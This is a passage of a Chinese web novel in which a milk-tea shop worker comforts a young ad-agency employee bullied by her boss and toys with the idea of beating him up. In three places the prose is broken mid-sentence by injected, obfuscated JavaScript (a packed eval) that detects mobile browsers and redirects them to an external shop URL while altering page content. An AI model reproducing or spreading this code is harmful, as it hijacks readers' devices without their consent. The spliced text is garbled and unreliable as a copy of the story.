盛凌华也爽快答应,反正上个楼也就是几分钟的事情,而且她一直对职场生活充满向往,就当去看看热闹。 “那我去了。” 盛凌华揣起工作证便出了店门,有时候楼内的公司会下团单,店员需要把奶茶送上去,她跟着进去过好几次,对于登记手续非常熟悉。 她先是在前台做好访客登记,亚美在这栋楼里算是大公司,租用了十八楼一整层。 到了十八楼,电梯口正对着公司大门,盛凌华走到前台拿出工作证说明来意,前台职员听明缘由后,客气地向她表示感谢, “把卡给我就好了,我等会儿会转交给巫鸣茗的,谢谢你。” 任务已经完成,盛凌华说声不客气,转身出了公司大门,准备去坐电梯。 中午电梯运行繁忙,在等待的过程中,盛凌华听到身后的前台职员似乎在打电话,过了十来秒对身旁的同事说。 “电话没人接。” “可能不在座位上吧,你先放着,我等会儿过去帮你带给她。” 盛凌华突发奇想,当初要是老老实实找工作的话,自己大概也会进这样的公司,每天喝着咖啡在电脑前敲敲打打吧? 就在这时,她忽然听到了一阵呜咽声从远处传来。 声音很轻,普通人听见恐怕只会觉得是空调的风声,但盛凌华听得很清楚。 不仅清晰,她还能感觉到声音的主人很痛苦。 12. 学妹 她仔细倾听,几秒钟后便确定了声音的源头,看向位于角落的消防防火门。 盛凌华又回头看了眼,前台职员正在看手机,没人注意她。 于是她走过去,试着推开厚重的大门,呜咽声瞬间清晰了不少,像是从楼下传来的。 盛凌华一个闪身,无声无息地钻了进去。 楼梯间内空无一人,她循着声音一路向下,在下了一层楼后,便看到了一个瘦弱身影正蹲坐在楼梯上,将头深埋起来,肩膀剧烈地颤抖着,时不时就有抽泣声传出来。 原来是哭声,想必是对方不想被别人发现,所以哭得相当克制,从而导致盛凌华判断出错,误以为是有什么情况。 不小心撞见这种场面,盛凌华心里也大叫不妙,她当然知道当事人躲到这种地方哭就是不想被人发现。 所以自己现在要做的事就是原路返回,不要打扰别人。 她正要退回去,楼下的女孩像是察觉到了什么,突然一个抬头。 两人视线一对,都愣住了。 “欸?” 怎么会这么巧,竟然是巫鸣茗? 巫鸣茗吸着鼻子,顾不上自己一脸鼻涕一把泪的窘样,问她:“你……怎么在这儿?” 一看是熟人,盛凌华也不好一走了之,她解释说:“你把工作证落在店里,店长让我给你送过来,我已经放在前台了,本来打算走,但是听到点动静,所以就进来看一眼。” “谢谢你。” 巫鸣茗想到不怎么熟悉的奶茶店员工都愿意帮她一个忙,而她的领导却只会不断否认打压她,情绪顿时崩溃,放声大哭起来。 盛凌华被吓了一跳,一时不知道该如何是好。 “你……你你……你没事吧?” 巫鸣茗哭得很伤心,每一声都撕心裂肺的,哭到声嘶力竭,盛凌华虽然不明白发生了什么事情,但她感受到了对方的情绪。 委屈、不甘、痛苦、愤怒源源不断地从对方纤细的身躯涌出。 盛凌华的心情也跟着低落起来,如果可以的话,她希望全世界都不会悲伤地哭泣。 她摸了摸口袋,因为是临时出来的,她只带了手机和半包手帕纸,这包纸在她工作服里放了挺长时间,因此包装袋都变得皱巴巴的。 不过现在也不是挑剔这个的时候,她走到对方身边,将纸递给她。 “虽然不知道你遇到了什么难处,但是起码哭出来比憋着要好。” 巫鸣茗看着拿包纸,哭声依旧不止,她接过手帕纸,将其牢牢抓在手中,“谢……谢……” 盛凌华实在不忍心,伸手拍了拍她的肩膀,“哭出来就好了。” “我平常不是这样的……”巫鸣茗抽咽着说,她真的好累好累,上班为什么会这么痛苦? 她这一辈子难道只能这样活着了吗? “我明白,你只是太累了,需要发泄一下。” 伴随着盛凌华的安慰,巫鸣茗的哭声渐渐停止。 大哭过后,伴随的便是漫长的沉默,巫鸣茗的思绪出现空白,大脑停止运转,只有身体还在遵循本能发出抽泣声。 盛凌华确定对方情绪已经稳定,便打算离开,不然等下对方缓过劲来,她们两个人都会尴尬。 说真的,她不太擅长处理这种情况,让她硬碰硬一点问题都没有,可要是看到女孩子的眼泪,她真的不知道该怎么办。 “我先回去了,放心,这件事情我不会告诉人的。” 不等巫鸣茗反应,她便跑了。 而且她还留个心眼,没有上楼,直接从十六楼的出口离开,免得被亚美广告的人撞见。 等她回到店里,同事见她才回来,好奇地问:“你怎么去了这么久?” “哦,我在楼里逛了一下。”盛凌华随意地说:“里面装修得蛮漂亮的。” 同事回答:“那当然了,这里面的公司都很不错的,能在这里面上班工资都不会低的。” “那工作压力也挺大的吧。” “那当然呀,这边好多公司都加班到好晚呢,不过有加班费就是了。” 紧接着话题就被其他同事岔开,大家开始讨论最近上映的电影到底好不好看。 “我前两天去看了,剧情一般吧,就是普通爱情片水平,但是男主太帅了。” “男主是谁啊?” “莱斯利,我跟你说真的巨帅,他出场的时候有一个大特写,当时整个电影院的人都不约而同地发出一声惊叹,帅到窒息!” 盛凌华对这个话题没有兴趣,她不爱看爱情电影,默默坐回到休息区,心里则在想刚刚的事。 不知道巫鸣茗遇到了什么问题哭得那么伤心。 不过是人总是会有烦恼的。 巫鸣茗有,她有,爱德蒙也有,所以在这一点上人类和非人生物并没有什么区别。 奶茶店的关门时间是十点半,但会提前半小时打烊,盛凌华在店长的吩咐下开始打扫卫生。 写字楼也早就空了,偶尔会有加班结束的职员从店门口路过。 此时,传来开门的动静,有人走了进来。 盛凌华正埋头拖地,听到店长说:“不好意思,我们准备关门了,现在做不了哦。” “我是来找人的。” 一听到这声音,盛凌华立马抬起头来,巫鸣茗正站在门口,和中午自己看到的样子判若两人。 对方也看见了她,指着她问店长,“我可以跟她说句话吗?” “当然可以的。” 巫鸣茗走到她面前,递给她一包崭新的手帕纸,“这个给你,今天的事情谢谢你了。” 盛凌华没想到对方竟然会特地过来还纸,意外道:“没关系的,都是举手之劳啦。” “但是今天的事情对我很重要。”巫鸣茗极其认真地对盛凌华说,她脸上已经没有了泪痕,眼中只剩下了深深的疲惫。 “那我收下了。” 对方这才笑了一下,“那我不耽误你干活了,再见。” “好的,晚安。” 巫鸣茗听到这句话,笑容一滞,神情中多了点苦涩,“看样子是晚安不了,我得回去加班。” 盛凌华不由发出惊呼:“啊?现在还要加班吗?” “嗯,我是赶在你们关门之前来找你的,马上得回公司了。” “这么辛苦啊。”盛凌华突然想到今天同事给了她几颗薄荷糖,她掏掏口袋,拿了两颗给她,“这个给你,注意身体哦。” “谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250885|197929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢……”巫鸣茗迟疑地接过糖,眼神闪烁似乎想要说什么,但一番纠结后,还是选择了直接道别。 等巫鸣茗走后,同事好奇询问怎么回事,盛凌华随便搪塞了一下,说是借了对方一包纸,然后向其他人打听:“亚美广告加班很严重吗?” “广告公司还好吧,主要是跟着项目来的吧?” “不过我经常看到这个女生卡在下班之前买奶茶。” 同事们众说纷纭,但都不了解广告这个行业,说的也只是自己的推论,大家边聊边干活,事情做完也就下班。 别人的故事,终究只是自己生活的小插曲。 之后的几天奶茶店都没有给盛凌华排班,她本以为这件事情就此落幕,可没想到竟然又让她碰到了巫鸣茗。 事后想想,可能从两人相遇开始,一切都是注定好的。 那天又到了和谢天骄碰面的日子,对方提前给盛凌华发消息征询意见。 [我有个学妹也在这边上班,不过她工作很忙,我们平常很少见面,这两天我终于约到她了,你介不介意我把她带来?] [当然没问题,就当多认识个朋友嘛。] [嘿嘿,我也是这么想的,我这个学妹人挺好的,我们以前经常一块玩的。] 盛凌华很能理解,上班后想和朋友凑个时间见上一面的确不容易,只是她没想到,对方口中的学妹竟然是巫鸣茗。 两人在爱德蒙酒馆碰到时,别提多惊讶了。 当然最惊讶的人非谢天骄莫属了,“你们俩竟然认识?” 紧接着她问盛凌华:“你不会又跑去广告公司打工了吧?” “当然没有,我哪懂这个。”盛凌华停顿片刻,回答说:“我在她们公司楼下的奶茶店干过。” “难怪呢。”谢天骄恍然大悟,“这就很合理了,真有你的,奶茶店那么客人,你竟然能认识我学妹。” “因为你学妹人真的很好呀。”盛凌华顺势把两人相识的契机说了出来。 谢天骄边听边点头,“没错没错,她就是特别温柔善良的女孩子,经常做好人好事。” 来的路上,她在想着该怎么给她们做介绍呢,没想到两人竟然认识,还真是有缘。 “鸣茗,我跟你说我这个朋友超有活力的,而且生活特别有意思。” 盛凌华觉得好笑,问:“打零工也叫有意思?” “当然了!”谢天骄睁大眼睛,言之凿凿道:“可以体验不同的工作,还不需要每天写该死的工作日志,多自由啊!” “你要这么说,我就不反驳了。” 盛凌华看向巫鸣茗,几日不见,对方的状态并没什么变化,依旧是疲惫的眼神,精神恹恹,尤其是和谢天骄坐在一起,对比尤其明显。 据她所知,谢天骄的工作也很忙,可精神状态却比巫鸣茗饱满许多,一看便知是个生活充实的人。 而巫鸣茗给人的感觉便是疲劳过度,已经丧失了一切兴趣。 可能是因为行业不同吧?毕竟盛凌华也没什么职场经验,实在不知道怎么分析。 她关心地问:“你这几天过得怎么样?” 不等巫鸣茗开口,谢天骄便语出惊人:“你那个傻缺领导是不是又犯贱了?” 13. 为难 盛凌华不是没听过谢天骄骂人,但是如此直抒胸臆,毫无铺垫倒还是第一次。 她问:“什么情况?” 这句话就像是打开了谢天骄的话匣子,对方滔滔不绝地抱怨起来。 “我跟你说,我这学妹的领导特别不是东西,总是临时给她加活,PUA她加班,美其名曰锻炼,整个方案都是我学妹辛辛苦苦做的,这人看一眼,点个通过,竟然好意思舔着脸把自己放主笔,你说这对吗?” “这么过分?” “就这么过分,我还说少了。”谢天骄表情愤慨,“真的很难想象这种人也能在职场混下去,而且还当了领导,我看亚美也快完蛋了。” 盛凌华小心地看了巫鸣茗一眼,对方低着头,表情隐忍又失落,一下子又让她想到了几天前对方痛哭时的情形。 难道当时对方是因为这件事情崩溃的吗? 神经大条的谢天骄还没发现巫鸣茗的变化,盛凌华只好用脚碰了碰对方,示意她留点心。 可谢天骄此时骂得正上头,压根没有注意到桌子底下的事。 盛凌华只好出言打断,边说边给她使眼色:“说这么久了,先喝口水缓缓吧。” “等我说完,还差一句。”谢天骄继续道:“也怪我,我要是早点入这一行,就能帮她打听一下。” “你还是让当事人说两句吧。” 谢天骄发出一声无可奈何的叹息,自己说再多也解决不了什么,她忽然有点理解那些在网上发牢骚的人了。 大家都知道要做正直善良的人,可现实里却又有那么不公正的事,善良的人总是在受伤,也无处伸冤,无人帮助。 “是啊,鸣茗你也说两句吧,骂几句心情会好一点。” 此时谢天骄才发觉对方已经半天没出声了,抬眼望去,只见自己最喜爱的学妹如今正低着头,肩膀微微颤抖着,仔细倾听似乎还能听到哽咽声。 完了完了完了,她该不会把学妹给弄哭了吧!!! 谢天骄那张画着精致妆容的面庞瞬间皱成一团,她手忙脚乱地开始从桌上的抽纸盒里拽抽纸,但盛凌华动作比她更快。 对方已经掏出一包手帕纸,塞到了巫鸣茗的手里。 谢天骄一脸紧张地看着盛凌华,比出口型。 哭了? 对方点了点头,又顺势在巫鸣茗的后背拍了拍,这一套动作做得行云流水,看得谢天骄叹为观止。 没想到她还有这么温柔细腻的一面。 一时间三个女生谁也没有说话,巫鸣茗哭了一会儿,等情绪稳定后,擦干眼泪低声向两人道歉。 “不好意思,情绪有点失控。” 好不容易能和学姐见见面,她也不想破坏气氛。 谢天骄和盛凌华连忙说没事,巫鸣茗这时才发现手上的纸,还是自己还给盛凌华的那一包,没想到兜兜转转又回到自己手上,心情更低落了。 “没事啦,见面不就是为了说说心里话吗。”谢天骄表示理解,人在职场身不由己,想哭也得忍着,如果在朋友面前还不能放松,那人还活不活了。 “你这工作做着的确难。” 之前谢天骄就听巫鸣茗说过新来的领导不是很好沟通,起初她还劝巫鸣茗先忍忍看。 领导嘛,当成傻子哄一哄就好。 可是后来问题逐渐变得复杂起来,巫鸣茗突然多了很多工作,领导美名其曰看重,想让她多磨砺磨砺。 巫鸣茗的学历并无优势,能进亚美这种本地龙头实属不易,她本人也想在职场上努力一把,也就接受了这种安排。 她想着年轻正是打拼吃苦的时候,不付出怎么会有收获呢? 可有时候,努力不一定代表有收获,巫鸣茗便陷入到了这种怪圈,她发觉自己不管如何做,依旧得不到肯定。 交上去的方案总是在改,领导永远在指责,加班时间却在无限延长,时间一长,巫鸣茗觉得自己的灵魂都快被抽干,是剩下一具行尸走肉,每天重复打卡上下班。 “实在不行就跳槽吧。”谢天骄实在是看不下去了,建议道:“之前是我觉得第一份工作时间不长跳槽会影响履历,但你现在也做了几年,手头上的项目应该也能凑一个作品集了吧?要不要我帮你找找看,虽然别的公司没有亚美规模大,但是肯定没这么操蛋的领导。” “我……也想过跳槽,但是我还没想好。”巫鸣茗神情纠结道:“有时候我都怀疑自己是不是不适合干这一行。” “怎么可能呢!”谢天骄猛得提高嗓门,一不留神惊扰到了整个酒馆,就连吧台后的爱德蒙也看了过来。 她赶紧跟周围的客人说了声抱歉,才压低声音,语气坚定地反驳她:“我不准你这么想,你们公司老板又不是白痴,如果你只是个只拿钱不干活的人,早就把你给辞了,哪能留你这么久?” 盛凌华连连点头,“虽然这个角度很刁钻,但是很有道理,老板可不是慈善家。” “你就是被那个蠢货打击得都没有自信心了。”谢天骄痛心疾首地说,这还是她大学那个温柔活泼的小学妹吗! “千万不要这么想啊,那人说的都是垃圾话,赶紧都给我忘掉!” 她一脸严肃地看着巫鸣茗,“你很棒,你知不知道?” 对方表情很是动容,眼中似有泪花闪过,用力地点了点头,然后接着低头的功夫,用纸擦了擦眼睛。 谢天骄假装没看到,又连连夸了巫鸣茗好几句。“说起来,我现在手上的确有个职位,天工开物有意向找个创意总监,不过和你的工作经验好像不是很搭。” 巫鸣茗一听也说自己不行,“我只会写文案,做策划,哪里懂市场?” 谢天骄叹了口气,“也是,好工作有时候也是要讲运气的。” 这也是她一直不敢轻易劝巫鸣茗跳槽的原因,在H市的确找不到第二家比亚美更权威的广告公司了。 盛凌华现在对天工这类字眼很是敏感,立即问:“天工开物和天工有关系吗?” 谢天骄解释说:“是天工的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250886|197929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子公司,刚成立一年多,规模比天工小很多,不然这个活儿也轮不到我来做。” 说完她立马想到盛凌华和庄斯夜的关系,好奇的问她:“所以你后来跟庄斯夜联系上没有?” 盛凌华回答:“联系上了,认识但是不熟。” “这样啊。”谢天骄也不觉得意外,只是有些可惜,“我还以为我能抱上大腿了呢。” 盛凌华看了她一眼,对方的表情的确像是痛失了一百万似的,“你想干什么?” 谢天骄耸了耸肩:“还能怎么办,走后门把我这学妹塞进去呗,按天工现在的发展,进去待几年出来肯定身价暴涨,回头想找好工作还不容易?” “这忙我肯定帮不上了。” 以盛凌华对庄斯夜的认识,这家伙在工作上应该会相当认真,不太可能走后门。 再者说,她也不能用这种事情麻烦别人,不然她成什么人了? “哎,所以说好工作难找啊。” “其实我有个问题想问来着,听你们说这么多,明显是那个领导有问题,为什么要选择跳槽,而不是把事情上报给公司呢?更高的领导应该会管的吧?” 此话一出,谢天骄和巫鸣茗全都看了过来。 盛凌华觉得两人的视线似乎别有深意,讪讪地喝了口可乐,“我说错了吗?” “其实也没错,但是情况比较复杂……” 如果这话是别人说,谢天骄会回一句“太天真!”,但盛凌华的情况她是了解的,对方没有进过职场,想不到这背地里的门道也正常,毕竟她的生活接触不到这些糟心事。 “首先职场PUA很难取证的,加班可以说是重视人才,反复修改可以说成精益求精,很多事情光靠嘴是解释不清楚的,其次她领导在广告行业也算是小有名气,行业里就那么点人,真要是闹大了,鸣茗想找工作就很困难了。她都在亚美熬了这么久了,总不能为了这一个人改行吧?” 盛凌华似懂非懂地点点头:“好像明白了,那是挺麻烦的。” 她的确没想到这么多,毕竟她的兼职老板也不能下狠话,说以后让她在H市都找不到工作。 “所以我才一直说你的生活很自由,遇到这种糟心事完全不需要忍,直接换个老板就好啦。” 谢天骄拉着巫鸣茗的手拍了拍,“还能坚持吗?工作撑死也只是工作,还是要对自己好点的。” “我……”巫鸣茗表情迷茫,短短几天里她已经哭过两次了,高压的情绪的确得到纾解,但是她也很清楚问题没有解决。 摆在自己面前也只有两条路,要么忍下去,要么换一份工作。 就像谢天骄说的,只要她还在这个行业做下去,就很难和对方撕破脸。 有时候她也觉得自己很没骨气,如果能强硬一点就好了,可是强硬过后,事情就真的能解决吗? 就在她思绪纷杂,左右为难时,忽然听到一个声音问她。 “如果你那个领导被暴打一顿的话,你会觉得高兴吗?” 14. 狂徒 巫鸣茗诧异地抬起头,发现这句话竟然是盛凌华问的。 “什么?” 不光是她,谢天骄也跟着一愣。“你来真的啊?” 谢天骄立马想到一些社会新闻,难道大小姐要开始发力了? 盛凌华一脸认真地问:“既然他可以搞职场霸凌,那我是不是可以用拳脚霸凌他了?” “喂,你别乱来啊。”谢天骄意识到问题的严重性,用半是玩笑半是劝解的语气对她说:“现在是法制社会,你别把自己弄进去了,我可不想上班上到一半接电话去保释你。” “放心……” 谢天骄刚要松口气,这人果然是在说气话呢,便听到盛凌华说:“我会做的很干净,不会被抓住的。” “等等,我是这个意思吗?”她以前怎么没发现盛凌华作风这么强硬呢? 不对,这不叫强硬——这得是法外狂徒了吧! “别紧张,我只是在做假设,假如在不考虑后果的情况下,有人打他一顿,你会觉得开心吗?” 谢天骄这才放下心来,回答:“那当然会高兴,最好打得他十天半个月下不了床才好!” 反正幻想又不需要负责,当然是怎么痛苦怎么来了,此时她忽然明白,这应该是引导巫鸣茗发泄情绪的话术吧? 很高明啊!她毫不吝啬地冲盛凌华投去一个赞赏的眼神。 巫鸣茗思索许久,才踌躇地开口:“如果不用考虑这些问题,应该是会高兴的吧……” 她也曾经在改方案改到崩溃的时候想过,要是明天对方临时请假,会议需要延迟就好了。 但这么想完,又觉得自己的想法太阴暗。 自己完不成工作,竟然需要靠幻想别人过得不幸来解决。 “我明白了。” 巫鸣茗听了这句话忽然有点心慌,“还是不要了吧,虽然报复他我可能会心情好一点,但这解决不了根本问题,而且会连累到你。” 她看着盛凌华轻声说。 她对对方的印象一直都是亲切的女店员,染着一头漂亮的粉发,形象很招人喜欢,每回见面都会和自己打招呼。 要不是盛凌华提起,她也快忘记原来两人之间还有这个插曲。 上次在楼梯间被撞见,她很庆幸盛凌华及时离开,不然她真不知道该怎么面对这一切,同时又很感动,明明大家并不熟,对方也愿意花时间安慰自己,所以在克服尴尬后,她抽空去了一趟奶茶店表示感谢。 只是事后她还是忍不住回想这件事,越想越难为情,所以一连几天都没去店里买奶茶。 但无论如何,对盛凌华她是十分感激的,也不想给对方带来麻烦。 “和你们聊了一会儿,我觉得已经好多了,真的。”巫鸣茗强打起精神,冲两人笑了笑,“学姐你说的对,还是得出来和朋友聊聊天。” “是啊,有些事情闷在心里永远不会好的,就是得发泄出来才行,要不下次我们去电玩城?” 谢天骄用手比着手枪假装射击,“相信我,这样也很解压!每次我遇到什么糟心事,我就去电玩城狠狠发泄一下。” “好啊,不过再过几天可能就没什么空了,我又得忙了。”一说到工作,巫鸣茗下意识地皱起了眉头。 盛凌华问她: “你的领导叫什么名字?” 巫鸣茗不知道盛凌华为什么要问,更不知道自己该不该回答,只得看向谢天骄。 谢天骄也没想到这茬还没结束,忍不住问:“你该不会真的想去打人吧?” 话音刚落,她看到盛凌华做了一个掏口袋的姿势,心想终于忍不住要公开真实身份了吗? 下一秒,对方掏出了手机,向她们解释:“我就是想查一查来着。” “诶?”谢天骄先是有些失望,但随后又觉得有点好笑。 自己指望盛凌华靠背景处理问题,和她说要去把人打一顿一样,其实都挺魔幻的。 巫鸣茗见状也就没有了顾及,说出了领导的姓名。 盛凌华在她的帮助下很快搜到了对方的消息——魏麒,男,37岁,现任亚美广告创意部组长,他在广告行业深耕多年,履历在网上都能清楚查到。 她一边看,一边听谢天骄吐槽,对方告诉她这种履历看着漂亮,但其实水分很大。 “他前东家在外地,有些事情很难核实的,你也就看看别全信。” “你的意思这是假的?” “这么说也有点武断,不过人嘛,总是会包装自己的,借着信息差美化自己挺常见的,比如只是参与过项目,但是写成主导之类的。” 作为一名猎头,谢天骄的这番发言相当不专业,可她实在是太讨厌魏麒了! 她就骂,就骂! “我明白了。”盛凌华盯着魏麒的照片,将他的长相牢记心中。 谢天骄看她看得这么入神,好奇地问:“你在干什么?难道是……”她的语气逐渐变得兴奋,“你想去跟踪?对哦,你的工作时间灵活,门路又多,的确很适合做私家侦探,不过你这头发太显眼了,得换个发色才行。” “这样吗?” 盛凌华顺手摸了一把头发,发丝轻盈飘逸,犹如春日落樱,引得巫鸣茗也看了过来,忍不住称赞一句,“真漂亮。” 其实盛凌华还没有放弃敲闷棍的方案。 没人比她更希望用讲道理来解决问题,但也没人比她更清楚,对于一些卑劣者而言,拳头才是硬道理。 文明也是要建立在素质的基础上的,可有的人就是没素质。 所以善良的人容易吃亏,哪怕被触犯底线,也会受到自我的道德约束。 但盛凌华没有这种东西的,她的底线非常灵活,该客气的时候客气,不该客气的时候高喊两声女神保佑,然后冲上去痛击敌人。 不过她没打算把这些说出来,说出来只会让谢天骄和巫鸣茗感到不安,甚至会增添心理负担。 她转念一想,借口说:“其实我是打算找朋友查一查,我朋友认识私家侦探来着。” “可以啊,这办法好!”谢天骄扭头对巫鸣茗说:“说不定能抓他什么把柄呢!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250887|197929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>盛凌华看出巫鸣茗有顾虑,安慰她:“放心,我朋友嘴很严的,不会传出去的。” 谢天骄也跟着附和:“凌华看中的人不会错的,她眼光很好的。” 她帮盛凌华介绍过不少活,大多都是假期上门看家、照顾宠物之类的。 迄今为止所有人都对盛凌华的表现赞不绝口,因此自己对她的话是深信不疑,有的人就是拥有让人信赖的气场。 “那……”巫鸣茗鼓起勇气,点了点头,“那就拜托了。” “事情还没办成呢,有消息我再跟你说,我们俩加个好友吧。” “好的。” 谢天骄看到两人凑在一块互加好友的画面,顿觉欣慰,多么温馨和谐的场景啊! 巫鸣茗的通讯号平常也会用于工作,头像用的是她几年前的一张度假照,昵称用的则是她在公司使用的英文名Mandy。 加上对方后,她点开盛凌华的账号,发现头像是一张卡通手绘图——是一根魔法棒,四周还配合地点缀了一些小星星,虽然有些幼稚,但确实很可爱。 “好可爱的头像。” “可爱吧。”盛凌华得意地冲她挤了挤眼。“我可是魔法少女,回头变身给你看。” 巫鸣茗被盛凌华的表情逗笑了,她总算可以暂时忘掉那些烦恼,开怀大笑了。 因为明天还要上班,聚会持续了两个小时便结束了。 谢天骄和巫鸣茗的家在同一个方向,于是结伴离开了,盛凌则选择留了下来。 她很自觉地把空酒杯送到吧台,然后顺势就在爱德蒙的面前坐下了。 “怎么了,刚休息了几天就有打算行侠仗义了?” 盛凌华故作生气地质问他:“你怎么偷听人说话啊!” “这可真不关我的事,是你们声音太大了。” 店内面积本来就不大,再加上吸血鬼听力过人,想知道她们的谈话内容的确犯不着偷听。 盛凌华忍不住叹了口气,起身从吧台里捞出一瓶可乐,又给自己倒了半杯。 “你说有的人怎么会这么坏啊。” “人性就是如此,有圣人就会有小人。”爱德蒙一副见怪不怪的表情,谈话时,也不忘干着手上的活。 “不过那个女孩子也的确可怜,精神状态很差,感觉撑不了多久了。” 说到这个,盛凌华更是百感交集。 “如果我只是一个从小老实读书,毕业后勤勤恳恳工作的人,遇到这种事情我也会很崩溃的,根本没人教你遇到这种事情该怎么办,甚至也不知道该去找谁求助。” “我知道人类的问题不归我管,但好像除了我,没有人能帮她了。” 说着她将可乐一饮而尽,入口是甜腻的可乐,喝下后却仿佛感受到了苦涩。 谢天骄倒是有心,只是能力有限,人是群居动物,很难跳出环境与之对抗,需要付出的成本太大,也不一定能承担后果。 爱德蒙停下了手上的动作,主动帮她续上饮料。 “想做就去做,这才是我认识的盛凌华。”